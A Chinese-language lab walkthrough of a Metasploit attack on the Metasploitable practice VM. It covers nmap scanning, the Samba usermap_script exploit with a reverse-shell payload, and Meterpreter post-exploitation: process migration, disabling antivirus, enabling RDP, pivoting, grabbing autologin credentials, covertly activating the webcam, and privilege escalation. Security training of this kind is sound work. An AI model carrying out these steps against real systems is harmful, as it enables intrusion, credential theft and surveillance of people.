Metasploit实战

靶机选择

  1. 本次我选择的是Download Metasploitable (sourceforge.net) Metasploitable靶机
  2. 使用vmware进行挂载

渗透测试过程

信息搜集

  1. 因为使用vmware在本地进行挂载,所以需要先找到目标靶机的IP

  2. 先在kali中使用ifconfig查找到eth0的IP地址

  3. 对该地址进行C端地址扫描,nmap -sP 查找存活主机

    nmap -sP
  4. 因为kali是134,目标靶机是在kali开启后进行挂载的,可以直接判断为地址要大于134

  5. 对剩余的地址进行nmap -sV,查看目标靶机开启的服务

    nmap -sV
  6. 看到有Samba smbd 3.X - 4.X服务在运行,SMB是在局域网上共享文件和打印机的通信协议,在局域网内使用Linux和Windows系统的机器之间提供文件和打印机等资源的共享服务

漏洞利用

  1. 进入msf,使用如下命令进行Samba漏洞利用模块的扫描

    seasearch samba

  2. 分别查看rank一列的漏洞,其中excellent为漏洞最容易利用成功的(时间最新的)

  3. 查看漏洞详细信息

    info + 漏洞名称
    info exploit/multi/samba/usermap_script
  4. 输入如下 use 命令使用漏洞利用模块:

    use exploit/multi/samba/usermap_script
  5. 可以看到metasploit命令提示符更改为msf exploit(具体攻击载荷名称)

  6. 因为目标是Linux机器,所以一定要采用Linux的攻击载荷,使用如下命令可以查看具体攻击载荷列表

    show payloads
  7. 使用set命令选择payload、攻击IP地址、利用端口号、攻击IP地址

    set PAYLOAD cmd/unix/reverse  这里是反向攻击载荷模块
    set RHOST xxx.xxx.xxx.xxx 被攻击主机IP地址
    set RPORT xxx 利用端口号
    set LHOST xxx.xxx.xxx.xxx 设置攻击主机IP地址
    show options 查看参数是否已经设置正确
  8. 成功拿下

  9. 攻击成功后,在攻击机和目标机之间会建立一个Shell连接,渗透Windows及其它操作系统的过程类似,只是选择的Payload和漏洞利用模块不同

  10. 使用一些命令可以查看目标机的信息

后渗透攻击——信息搜集

Meterpreter

  1. Meterpreter是Metasploit的后渗透工具,可以在被攻击的进程内工作,不需要创建新的进程,且易于在多个进程之间迁移

进程迁移

  1. 刚获得Meterpreter Shell时,该Shell是极其脆弱和易受攻击的

  2. 例如攻击者利用浏览器漏洞攻陷目标机器,但是攻击渗透后浏览器可能被用户关闭

  3. 所以第一步是移动这个Shell,将它和目标及中的某一个稳定的进程绑在一起

  4. 不需要对磁盘进行任何写入操作,例如写马可能被杀

  5. 使用如下命令获取目标机正在运行的进程

    ps
  6. 使用如下命令查看Metapreter的进程号

    getpid
  7. 麻了,没有getpid工具,但是有gcc,自己写!

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

void main()
{
    pid_t idp,id;
    idp = getppid();
    printf("ppid= %d\n",idp);
    id = getpid();
    printf("pid= %d\n",id);
}
  1. google了一下,也可以使用下面的命令
 
echo $$
  1. 使用migrate将shell移动到稳定进程中

  2. 进程完成迁移后,原先PID下的Shell会自动关闭

  3. 如果没有自动关闭,需要用kill手动杀死进程

普通shell如何进入meterpreter

  1. 使用如下命令将shell放在后台

    background
  2. 进入刚刚的session会话

    sessions -u <编号>
  3. 查看新生成的session编号

    sessions -l
  4. 进入新的meterpreter session

    sessions -i 新的session编号

系统命令

  1. 获得了稳定的进程后,接下来收集目标机的系统信息

查看系统信息

  1. 输入如下命令查看目标机的系统信息

    sysinfo

查看是否运行在虚拟机上

  1. 输入如下命令查看目标机是否运行在虚拟机上

    run post/windows/gather/checkvm

查看是否在运行

  1. 检查目标机是否正在运行

    idletime
  2. emmmm,靶机系统架构不允许

查看目标机完整的网络设置

  1. 输入如下命令查看目标机完整的网络设置

    route

会话放后台

  1. 除此之外,可以将会话放到后台,此命令适合在多个Meterpreter会话的场景下使用

    background

查看已成功渗透的用户名

  1. 输入如下命令查看当前目标机上已经渗透成功的用户名

    getuid

关闭系统杀毒软件

  1. 关闭目标机系统杀毒软件

    run post/windows/manage/killav

启动远程桌面协议

  1. 启动目标机远程桌面协议,也就是3389端口

    run post/windows/manage/enable_rdp

查看目标机本地子网情况,添加路由,改为跳板

  1. 查看目标机本地子网情况

    run post/windows/manage/autoroute
  2. 先将meterpreter隐藏在后台,使用background命令

  3. 然后输入route add命令添加路由,添加成功后输入route命令进行查看,注意命令格式

  4. 这时一条路由就被添加到已攻陷主机的路由表中了,可以借助被攻陷主机对其它网络进行攻击(跳板)

查看当前有多少用户登录目标机

run post/windows/gather/enum_logged_on_users

列举安装在目标机上的应用程序

run post/windows/gather/enum_applications

抓取自动登录的用户名和密码

  1. 用户如果将计算机设置为自动登录,如下命令可以抓取自动登录的用户名和密码

    run windows/gather/credentials/windows_autologin
  2. 如果没有抓到任何信息,就需要用到拓展插件Espia,先输入load espia命令加载此插件,然后输入screengrab命令抓取此时目标机的屏幕截图(仅限于Windows系统)

摄像头

  1. 查看目标机是否有摄像头的命令如下

    webcam_list
  2. 输入如下命令打开摄像头,拍一张照片

    webcam_snap
  3. 开启直播模式

    webcam_stream

进入目标机的Shell

  1. 输入如下命令进入目标机的Shell下面

    shell
  2. 当meterpreter的命令前缀消失时,即进入了shell,退出了meterpreter

后渗透攻击——权限提升

  1. 通常,进入时只获得了一个guest或者普通User权限,在实施横向渗透攻击和提权攻击时将会很困难
  2. 需要将权限由Guest->User->Administrator->System
  3. 渗透的最终目的是获取服务器的最高权限

提权分类

  1. 纵向提权:低权限角色获取高权限角色的权限
  2. 横向提权:获取同级别角色的权限

提权过程

  1. 输入shell命令进入目标机的CMD命令行
  2. 输入whoami/groups命令查看现在的权限